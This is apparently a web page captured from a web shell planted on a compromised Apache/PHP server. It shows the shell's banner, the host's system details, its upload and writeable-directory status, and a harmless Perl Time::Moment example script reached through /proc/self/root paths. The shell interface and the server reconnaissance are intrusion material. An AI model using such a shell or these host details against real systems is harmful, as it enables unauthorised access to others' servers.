Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/proc/self/root/usr/share/doc/perl-Time-Moment/eg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/proc/self/root/usr/share/doc/perl-Time-Moment/eg/sereal.pl
#!/usr/bin/perl
use strict;
use warnings;

use Time::Moment qw[];
use Sereal       2.030 qw[encode_sereal decode_sereal];

my @moments = (Time::Moment->now, Time::Moment->now_utc);
my $encoded = encode_sereal([ @moments ], { freeze_callbacks => 1 });
my $decoded = decode_sereal($encoded);

foreach my $moment (@$decoded) {
    print $moment->to_string, "\n";
}

Hry